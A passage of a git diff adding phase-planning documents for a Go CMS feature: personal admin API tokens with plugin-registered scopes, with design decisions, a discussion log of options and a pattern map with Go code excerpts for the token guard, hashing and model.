- Task 2: the named Docker-free Go tests pass; the Postgres suites on a Docker host.
|
||||
- Task 3: full admin suite, gate self-test and --all pass; VALIDATION.md complete.
|
||||
- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.3.sh postgres`.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-6: full unit coverage of the phase's code in the last plan, Postgres tests ready for a Docker host, a passing fail-closed phase gate and a complete validation map.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-04-SUMMARY.md` when done, with test counts per repository, any fix(...) commits, and the Docker-host command list.
|
||||
</output>
|
||||
@@ -0,0 +1,145 @@
|
||||
# Phase 16.3: Backend admin personal API tokens with scopes - Context
|
||||
|
||||
**Gathered:** 2026-10-10
|
||||
**Status:** Ready for planning
|
||||
|
||||
<domain>
|
||||
## Phase Boundary
|
||||
|
||||
Backend users can create personal API tokens (`g15_…`) with one or more scopes picked at creation time. The framework `backend` guard accepts such a token as well as the admin JWT, and the request runs as the token's owner. Access is the intersection of the token's scopes and the owner's own permissions. Tokens are managed in the admin SPA (`/account`, own tokens) and through `summer admin:token:*` CLI commands (any user). The Journal plugin registers its scopes and accepts tokens on its write routes, so an agent can manage blog posts as a backend author.
|
||||
|
||||
Repos: `summercms.go` (cabana/bouncer guard, token model and migration, scope registry, account API, admin SPA panel, CLI, READMEs and docs); `sm-journal-plugin` (scope registration, switch to the framework principal helper); host applications only for the version bump.
|
||||
|
||||
Out of scope: a backend-user management screen, a superuser view of all tokens, migrating Apparatus tokens, Payment and Fonoteka scopes (they register through the same API when their phases need them).
|
||||
|
||||
</domain>
|
||||
|
||||
<decisions>
|
||||
## Implementation Decisions
|
||||
|
||||
### Scope model
|
||||
- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
|
||||
- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
|
||||
- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
|
||||
- **D-04:** Framework scopes:
|
||||
- `*` means full access: all methods, and it behaves exactly like the owner.
|
||||
- `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
|
||||
|
||||
Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
|
||||
- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
|
||||
- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
|
||||
|
||||
### Token lifecycle
|
||||
- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
|
||||
- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
|
||||
- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
|
||||
- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
|
||||
- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
|
||||
- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
|
||||
|
||||
### Guard and Journal wiring
|
||||
- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
|
||||
- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
|
||||
- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
|
||||
|
||||
### Admin SPA and CLI
|
||||
- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
|
||||
- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
|
||||
- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
|
||||
- **D-19:** CLI commands in cabana, beside `admin:create`:
|
||||
- `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
|
||||
- `admin:token:list [<login|email>] [--revoked]`
|
||||
- `admin:token:revoke <id>`
|
||||
- `admin:token:scopes` lists registered scopes.
|
||||
|
||||
The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
|
||||
- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
|
||||
|
||||
### Claude's Discretion
|
||||
- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
|
||||
- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
|
||||
- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
|
||||
- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
|
||||
- How `last_used_at` is debounced (in-memory per process is fine).
|
||||
|
||||
</decisions>
|
||||
|
||||
<canonical_refs>
|
||||
## Canonical References
|
||||
|
||||
**Downstream agents MUST read these before planning or implementing.**
|
||||
|
||||
### Phase origin and prior decisions
|
||||
- `.planning/ROADMAP.md` § Phase 16.3 — goal, repos, explore constraints, success criteria
|
||||
- `.planning/todos/pending/backend-admin-api-tokens.md` — the todo this phase was promoted from
|
||||
- `.planning/notes/apparatus-dissolved-into-framework.md` — why tokens are a framework feature, not an Apparatus port
|
||||
- `.planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-CONTEXT.md` — D-01..D-04 (backend users, `backend` guard, permission semantics, `admin:create`), D-09/D-10 (admin API paths and envelope)
|
||||
- `.planning/phases/15-journal-plugin/15-CONTEXT.md` — D-14/D-15 (Journal write API and the backend-JWT-only rule this phase reverses)
|
||||
|
||||
### Reference implementation (behavioral, not ported 1:1)
|
||||
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/models/PersonalApiToken.php` — `g15_` + 40 hex, sha256 storage, expiry, last_used_at
|
||||
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/middleware/TokenAuthenticate.php` — Bearer lookup, expiry, owner check
|
||||
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/Plugin.php` (~lines 335-400) — My Account "API Tokens" tab and create/revoke handlers
|
||||
|
||||
### Pattern to copy (Go)
|
||||
- `../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go` — `APITokenGuard`: prefix check, sha256 lookup, last_used stamp, `Scope()` middleware
|
||||
- `../sm-summercmsio-app/plugins/golem15/user/classes/api_tokens.go` — `MintAPIToken`, `HashAPIToken`
|
||||
- `../sm-summercmsio-app/plugins/golem15/user/models/api_token.go` — `HasScope`
|
||||
- `../sm-summercmsio-app/plugins/golem15/user/updates/202610040001_create_api_tokens.go` — token table migration
|
||||
|
||||
</canonical_refs>
|
||||
|
||||
<code_context>
|
||||
## Existing Code Insights
|
||||
|
||||
### Reusable Assets
|
||||
- `modules/bouncer/guard.go`: `Guard`, `CredentialGuard`. `modules/bouncer/context.go`: `Principal` (`Backend`, `IsSuperuser`, `PermissionGrants`), `WithUser`, `WithCredential`.
|
||||
- `modules/bouncer/jwt.go`: `NewBackendJWTGuard` (:94), `Authenticate` (:106), `bearerToken` (:314). The JWT path stays as-is behind the composite guard.
|
||||
- `modules/cabana/auth.go`: `BackendUsers.FindByID` (:40) and `principalFrom` (:103). These are the owner-loading path, already merging role and user grants.
|
||||
- `modules/cabana/contracts.go`: `Allows` (:186) and `requiredOf` (:237). This is where scope intersection lands (D-14).
|
||||
- `modules/wristband/crypto.go:26-31`: `sha256Hex` and a constant-time compare.
|
||||
- `modules/cabana/commands.go`: `admin:create` (:18) and `admin:reset-password` (:107). The new `admin:token:*` commands go beside them.
|
||||
- `modules/cabana/account.go` plus `admin/src/views/AccountView.vue`: the existing account API and page that host the tokens panel.
|
||||
|
||||
### Established Patterns
|
||||
- Plugin capabilities are optional pact interfaces compiled by cabana at boot (`modules/pact/capabilities.go:494` `HasPermissions`, compiled in `modules/cabana/registry.go:182-200`). `HasTokenScopes` follows the same path, including fail-loud validation.
|
||||
- Framework-owned migrations are raw-SQL entries appended to `BackendAdminMigrations` (`modules/lagoon/backend_admin_migrations.go:21`).
|
||||
- Admin API handlers carry swag annotations; SPA types are generated from OpenAPI.
|
||||
- Permission checks happen in handlers, not in route middleware, which is why the scope check belongs in `Allows` and not in per-route annotations.
|
||||
|
||||
### Integration Points
|
||||
- `modules/cabana/http.go:145-159`: where the `backend` guard is built and registered. The composite guard wraps it here.
|
||||
- `modules/bouncer/registry.go:73-113`: `Registry.Middleware` already prefers `CredentialGuard`, so the token row arrives as the credential.
|
||||
- `modules/cabana/http.go:245-249`: `/auth/me` and the `/account` routes. The token endpoints and the interactive-only marker go here.
|
||||
- `../sm-journal-plugin/controllers/api/auth.go`: `newBackendGuard` (:58), `requireBackendPrincipal` (:99) and `requireAccessPosts` (:113) switch to the cabana resolver (D-15). `posts.go` Index/Show `optionalBackendPrincipal` (:32, :121) do the same.
|
||||
- `../sm-journal-plugin/admin_permissions.go:9`: the permission catalog the `journal` scopes map onto.
|
||||
|
||||
### Noted during scouting (verify, don't assume)
|
||||
- Journal `UploadFeaturedImage` / `DeleteFeaturedImage` (`posts.go:325, :393`) authenticate, but a permission check was not confirmed. Check it while wiring tokens, because a `journal:read` token must not reach them (the method rule covers this, but the permission gap would be a separate bug).
|
||||
- Journal's per-user throttle key (`plugin.go:88`) reads `bouncer.User` before any guard runs and likely always falls back to the client IP.
|
||||
|
||||
</code_context>
|
||||
|
||||
<specifics>
|
||||
## Specific Ideas
|
||||
|
||||
- Main use case: an agent manages Journal blog posts as a backend author using a `journal`-scoped token. Later, a reporting agent reads Payment Gateway data with `payment:read`.
|
||||
- The token panel follows the Apparatus/Winter "My Account → API Tokens" placement.
|
||||
- CLI `admin:token:create` output is pipe-friendly (only the token on stdout).
|
||||
|
||||
</specifics>
|
||||
|
||||
<deferred>
|
||||
## Deferred Ideas
|
||||
|
||||
- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
|
||||
- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
|
||||
- Fonoteka scopes: when a Fonoteka integration needs token access.
|
||||
- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.
|
||||
|
||||
</deferred>
|
||||
|
||||
---
|
||||
|
||||
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
|
||||
*Context gathered: 2026-10-10*
|
||||
@@ -0,0 +1,118 @@
|
||||
# Phase 16.3: Backend admin personal API tokens with scopes - Discussion Log
|
||||
|
||||
> **Audit trail only.** Do not use as input to planning, research, or execution agents.
|
||||
> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
|
||||
|
||||
**Date:** 2026-10-10
|
||||
**Phase:** 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
**Areas discussed:** Scope model, Token lifecycle, Guard & Journal wiring, SPA panel & CLI
|
||||
|
||||
---
|
||||
|
||||
## Scope model
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Named scopes, plugin-registered | Plugins register scopes mapping to permission patterns; framework `*` | ✓ |
|
||||
| Scope = permission patterns | Token stores raw permission patterns | |
|
||||
| Coarse fixed set | read/write/* like user plugin tokens | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Scope declares methods + patterns | Read scopes allow GET/HEAD only, enforced before handler | ✓ |
|
||||
| Read-only permission subset | Read scope maps to view-type permissions | |
|
||||
| Both | Methods and permission subset | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Several | Token stores a list; any scope allowing passes | ✓ |
|
||||
| Exactly one | One scope per token | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Deny by default, except whoami | Only `/auth/me` open; account/token routes need interactive JWT even with `*` | ✓ |
|
||||
| `*` reaches everything | System-wide token can change account and mint tokens | |
|
||||
| Allow unchecked routes | Unguarded routes open to any token | |
|
||||
|
||||
## Token lifecycle
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Optional, presets | 30/90/365/never, default 90 days | ✓ |
|
||||
| Required, capped | Must expire, max 1 year | |
|
||||
| Optional, no default | Apparatus as-is | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Owner deactivated or deleted | Password reset / tokens_valid_after do not kill tokens | ✓ |
|
||||
| Also on password reset / session cutoff | Tokens respect tokens_valid_after | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Soft revoke, immutable | revoked_at kept for audit; no edits | ✓ |
|
||||
| Hard delete, immutable | Apparatus behavior | |
|
||||
| Soft revoke, editable name/expiry | Rename and extend allowed | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Keep Apparatus shape + hint | g15_ + 40 hex, sha256, last-4 hint | ✓ |
|
||||
| Add checksum | GitHub-style base62 + CRC32 | |
|
||||
|
||||
## Guard & Journal wiring
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Bearer header only | Composite guard; g15_ to token lookup, rest to JWT | ✓ |
|
||||
| Bearer + query param | Also ?token= | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Framework helper, keep Journal's envelope | cabana resolver replaces Journal's hand-built guard | ✓ |
|
||||
| Mount Journal writes under backend middleware | Changes Journal error shape | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Inside the principal / cabana.Allows | Allows intersects owner grants and scope patterns | ✓ |
|
||||
| Route middleware per scope | Routes declare RequireScope | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| `*` passes, scoped tokens denied | Empty permission list denied to scoped tokens; interactive-only marker | ✓ |
|
||||
| Scoped tokens pass too | Current Allows semantics | |
|
||||
|
||||
## SPA panel & CLI
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| /account only, own tokens | Superusers use CLI for others | ✓ |
|
||||
| /account + superuser view | New admin screen | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| Only scopes their permissions intersect | Hide useless scopes; `*` always shown; server re-checks | ✓ |
|
||||
| All registered scopes | Simpler | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| admin:token:create/list/revoke (+scopes) | Plaintext to stdout once | ✓ |
|
||||
| Fewer commands | create and revoke only | |
|
||||
|
||||
| Option | Description | Selected |
|
||||
|--------|-------------|----------|
|
||||
| `*`, journal, journal:read | payment:read later | |
|
||||
| Also a framework `admin:read` | System-wide read-only scope | ✓ |
|
||||
|
||||
## Claude's Discretion
|
||||
|
||||
- Names of the capability, scope struct, resolver, table and interactive-only marker
|
||||
- Scope storage type and unknown-scope behavior
|
||||
- Scope-refusal 403 details
|
||||
- Token throttle bucket
|
||||
- last_used_at debounce mechanism
|
||||
|
||||
## Deferred Ideas
|
||||
|
||||
- Backend-user management screen with superuser token view
|
||||
- payment:read scope (Payment Gateway phase)
|
||||
- Fonoteka scopes
|
||||
- Checksum token format
|
||||
@@ -0,0 +1,468 @@
|
||||
# Phase 16.3: Backend admin personal API tokens with scopes - Pattern Map
|
||||
|
||||
**Mapped:** 2026-10-11
|
||||
**Files analyzed:** 22 (new + modified, across summercms.go and ../sm-journal-plugin)
|
||||
**Analogs found:** 21 / 22
|
||||
|
||||
All analog paths are git-tracked source (user plugin analogs verified with `git ls-files` inside the `sm-user-plugin` submodule of `../sm-summercmsio-app`).
|
||||
|
||||
## File Classification
|
||||
|
||||
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|
||||
|---|---|---|---|---|
|
||||
| `modules/pact/capabilities.go` (+ `TokenScope`, `HasTokenScopes`) | contract/interface | config | `modules/pact/capabilities.go` `Permission`/`HasPermissions` (~:495-506) | exact |
|
||||
| `modules/bouncer/context.go` (+ `ScopeLimit`, `Principal.Scope`) | model (context value) | request-response | existing `Principal` fields `Backend`/`IsSuperuser`/`PermissionGrants` (`json:"-"`) | exact |
|
||||
| `modules/lagoon/backend_admin_migrations.go` (+ token table) | migration | batch/DDL | same file, entry `202610090001_backend_users_metadata` (:121-132) | exact |
|
||||
| `modules/lagoon/backend_admin_migrations_test.go` (fix last-ID test) | test | — | `TestBackendAdminMetadataColumn` (:561-575) | exact |
|
||||
| `modules/cabana/api_tokens.go` (model, mint, hash, revoke, debounce) | model/service | CRUD | `sm-user-plugin/classes/api_tokens.go` + `models/api_token.go` | exact |
|
||||
| `modules/cabana/token_scopes.go` (compile, cover, overlap) | service | transform | `modules/cabana/registry.go` `compileContributions` (:169-200), `validatePermissions` (:301-308) | role-match |
|
||||
| `modules/cabana/token_guard.go` (composite guard, resolver) | middleware/guard | request-response | `sm-user-plugin/middleware/api_token.go` `APITokenGuard` | exact |
|
||||
| `modules/cabana/contracts.go` (`Allows` rewrite) | utility | transform | itself (:186-235) | exact |
|
||||
| `modules/cabana/csrf.go` or `token_guard.go` (`interactiveOnly`) | middleware (route wrapper) | request-response | `requireAjax` (csrf.go:22-30) | exact |
|
||||
| `modules/cabana/account_tokens.go` (4 endpoints) | controller | CRUD | `modules/cabana/account.go` (`accountUpdate` :289, `accountPrincipal` :216, `writeAccountError` :495) | exact |
|
||||
| `modules/cabana/http.go` (guard registration :145-160, mount :243-260, Publish resolver) | config/route | request-response | itself | exact |
|
||||
| `modules/cabana/admin_openapi.go` (swag stubs) | config (docs) | — | `AdminAccountUpdate` / `AdminMe` stubs (:190-218) | exact |
|
||||
| `modules/cabana/commands.go` (`admin:token:*`) | command | CRUD | `admin:create` / `admin:reset-password` (:18-50, :52-104) | exact |
|
||||
| `modules/party/registry.go` (publish activated plugins, Option A) | config | — | `app.SetPlugins(orderedIDs)` (:107) + `app.Publish(guards)` in cabana http.go:139 | role-match |
|
||||
| `cmd/summer/runtime.go` (delegate rows) | config | — | rows for `admin:create`, `admin:reset-password` (:37-38) | exact |
|
||||
| `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` (`api_tokens:` block) | config (i18n) | — | existing `myaccount:` block | exact |
|
||||
| `admin/src/components/account/ApiTokensPanel.vue` (+ `ApiTokenCreateDialog.vue`) | component | request-response | `admin/src/views/AccountView.vue` + `admin/src/components/relation/RelationPickerModal.vue` | role-match |
|
||||
| `admin/src/views/AccountView.vue` (render panel) | component | — | itself (:247 section, :411 ConfirmDialog) | exact |
|
||||
| `admin/src/components/ui/ConfirmDialog.vue` (`[overflow-wrap:anywhere]`) | component | — | itself | exact |
|
||||
| `../sm-journal-plugin/token_scopes.go` | config (capability impl) | — | `../sm-journal-plugin/admin_permissions.go` | exact |
|
||||
| `../sm-journal-plugin/controllers/api/auth.go` (resolver switch) | middleware helper | request-response | itself (:58-111) | exact |
|
||||
| Tests: `modules/cabana/token_*_test.go`, `account_tokens_test.go`, `commands_test.go`, `admin/tests/components/ApiTokensPanel.test.ts`, journal `journal_api_tokens_test.go`, `scripts/check-phase16.3.sh` | test | — | `commands_test.go` (`TestAdminCreateCommand` :24), `auth_test.go` `adminHandler` (:367), `admin/tests/views/AccountView.test.ts`, `admin/tests/relation/RelationPickerModal.test.ts`, `scripts/check-phase16.2.sh` | exact |
|
||||
| docs pages / READMEs (cabana, bouncer, pact, party, journal) | docs | — | existing module READMEs; `docs/services/authentication.md`, `docs/console/introduction.md` | role-match |
|
||||
|
||||
## Pattern Assignments
|
||||
|
||||
### `modules/cabana/token_guard.go` (guard, request-response)
|
||||
|
||||
**Analog:** `../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go` (tracked in sm-user-plugin submodule)
|
||||
|
||||
Interface assertions + struct (lines 21-33):
|
||||
```go
|
||||
type APITokenGuard struct {
|
||||
App *backpack.App
|
||||
DB func() *gorm.DB
|
||||
Prefix string
|
||||
ClientIP func(*http.Request) string
|
||||
}
|
||||
var (
|
||||
_ bouncer.CredentialGuard = (*APITokenGuard)(nil)
|
||||
_ bouncer.UnauthorizedWriter = (*APITokenGuard)(nil)
|
||||
)
|
||||
```
|
||||
|
||||
Core lookup (lines 35-80) — copy shape, but: route by `g15_` prefix and delegate non-token requests to the wrapped `NewBackendJWTGuard.Authenticate(r)`; validate `^g15_[0-9a-f]{40}$` before DB; add `revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now())`; owner via `lazyBackendUsers.FindByID`; **do not fail auth when the last_used write fails** (analog does — anti-pattern, research §Anti-Patterns):
|
||||
```go
|
||||
secret := BearerToken(r)
|
||||
if secret == "" || !strings.HasPrefix(secret, prefix) {
|
||||
return nil, nil, errInvalidAPIToken
|
||||
}
|
||||
...
|
||||
db = db.WithContext(r.Context())
|
||||
var token models.APIToken
|
||||
result := db.Where("token_hash = ?", classes.HashAPIToken(secret)).Limit(1).Find(&token)
|
||||
now := time.Now()
|
||||
if result.Error != nil || result.RowsAffected == 0 || !token.IsUsableAt(now) {
|
||||
return nil, nil, errInvalidAPIToken
|
||||
}
|
||||
principal, err := classes.PrincipalByID(r.Context(), db, token.UserID)
|
||||
...
|
||||
return principal, &token, nil
|
||||
```
|
||||
|
||||
WriteUnauthorized (lines 84-86) — cabana version switches on `errors.As(err, *ScopeError)` → 403 `WriteErrorDetails(..., "forbidden", ..., {"reason":"token_scope"})`, else existing `writeUnauthenticated` 401 envelope:
|
||||
```go
|
||||
func (g *APITokenGuard) WriteUnauthorized(w http.ResponseWriter, _ error) {
|
||||
wire.WriteJSON(w, http.StatusUnauthorized, map[string]any{"error": true, "message": "Invalid token."})
|
||||
}
|
||||
```
|
||||
|
||||
Bearer extraction (lines 119-129):
|
||||
```go
|
||||
func BearerToken(r *http.Request) string {
|
||||
if r == nil { return "" }
|
||||
token, ok := strings.CutPrefix(strings.TrimSpace(r.Header.Get("Authorization")), "Bearer ")
|
||||
if !ok { return "" }
|
||||
return strings.TrimSpace(token)
|
||||
}
|
||||
```
|
||||
(cabana already has `bouncer/jwt.go` `bearerToken` :314 — export it or keep a local copy.)
|
||||
|
||||
Credential consumption pattern for `interactiveOnly` (analog `Scope` middleware, lines 89-102):
|
||||
```go
|
||||
credential, _ := bouncer.Credential(r.Context())
|
||||
token, ok := credential.(*models.APIToken)
|
||||
if !ok || token == nil || !token.HasScope(scope) { ... 403 ... }
|
||||
```
|
||||
|
||||
**Registration point** — `modules/cabana/http.go` lines 145-160 (replace `guard` with the composite wrapping it):
|
||||
```go
|
||||
bl := adminBlacklist(app)
|
||||
users := lazyBackendUsers{app: app, reg: reg}
|
||||
guard := bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)
|
||||
if owner, taken := guards.Owner("backend"); !taken {
|
||||
if err := guards.Register("summercms.cabana", "backend", guard); err != nil {
|
||||
return nil, fmt.Errorf("cabana: backend guard: %w", err)
|
||||
}
|
||||
} else if owner != "summercms.cabana" { ... }
|
||||
```
|
||||
Publish the resolver next to `app.Publish(guards)` (http.go ~:139) — same idiom.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/api_tokens.go` (model/service, CRUD)
|
||||
|
||||
**Analogs:** `sm-user-plugin/classes/api_tokens.go`, `sm-user-plugin/models/api_token.go`
|
||||
|
||||
Model (models/api_token.go :11-27) — copy tag style; table `backend_api_tokens`, field `BackendUserID`, add `TokenHint`, `RevokedBy *uint`; `Scopes lagoon.Jsonable[[]string]`:
|
||||
```go
|
||||
type APIToken struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
UserID uint `gorm:"column:user_id"`
|
||||
Name *string `gorm:"column:name"`
|
||||
TokenHash string `gorm:"column:token_hash" json:"-"`
|
||||
Scopes lagoon.Jsonable[[]string] `gorm:"column:scopes"`
|
||||
ExpiresAt *time.Time `gorm:"column:expires_at"`
|
||||
RevokedAt *time.Time `gorm:"column:revoked_at"`
|
||||
LastUsedAt *time.Time `gorm:"column:last_used_at"`
|
||||
CreatedAt time.Time `gorm:"column:created_at"`
|
||||
UpdatedAt time.Time `gorm:"column:updated_at"`
|
||||
}
|
||||
func (APIToken) TableName() string { return "user_api_tokens" }
|
||||
```
|
||||
|
||||
Mint / hash / revoke (classes/api_tokens.go :47-112) — keep name trim + dedupe scopes; change secret to `g15_` + `hex(20 bytes)` (RESEARCH "Mint and hash"), name max 100:
|
||||
```go
|
||||
name = strings.TrimSpace(name)
|
||||
...
|
||||
seenScopes := make(map[string]bool, len(scopes)) // dedupe, keep order
|
||||
...
|
||||
token := &models.APIToken{
|
||||
UserID: userID, Name: &name, TokenHash: HashAPIToken(secret),
|
||||
Scopes: lagoon.Jsonable[[]string]{Data: scopes, Valid: true}, ExpiresAt: expiresAt,
|
||||
}
|
||||
|
||||
func HashAPIToken(secret string) string {
|
||||
sum := sha256.Sum256([]byte(secret))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
func RevokeAPIToken(db *gorm.DB, token *models.APIToken) error {
|
||||
now := time.Now()
|
||||
if err := db.Model(token).Update("revoked_at", now).Error; err != nil { return err }
|
||||
token.RevokedAt = &now
|
||||
return nil
|
||||
}
|
||||
```
|
||||
Constant-time compare: `modules/wristband/crypto.go:26-31`. Debounced stamp: RESEARCH "Debounced last_used_at" (sync.Map + conditional UPDATE, log on error via `slog.Default().WarnContext`).
|
||||
|
||||
---
|
||||
|
||||
### `modules/pact/capabilities.go` (+ `TokenScope`, `HasTokenScopes`)
|
||||
|
||||
**Analog:** same file (~:495-506):
|
||||
```go
|
||||
// Permission is one registerPermissions() entry.
|
||||
type Permission struct {
|
||||
Code string
|
||||
Tab string
|
||||
Label string
|
||||
Roles []string
|
||||
}
|
||||
|
||||
// HasPermissions is implemented by plugins that declare backend permissions.
|
||||
type HasPermissions interface {
|
||||
Permissions() []Permission
|
||||
}
|
||||
```
|
||||
Add `TokenScope{Name, Label, Description, Permissions, Methods}` + `HasTokenScopes{ TokenScopes() []TokenScope }` with the same one-line doc-comment style; optional `TokenReadMethods = []string{"GET","HEAD"}`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/token_scopes.go` (compile + cover, transform)
|
||||
|
||||
**Analog:** `modules/cabana/registry.go` `compileContributions` (:169-200) — capability type-assert loop, fail-loud duplicate:
|
||||
```go
|
||||
for _, plugin := range plugins {
|
||||
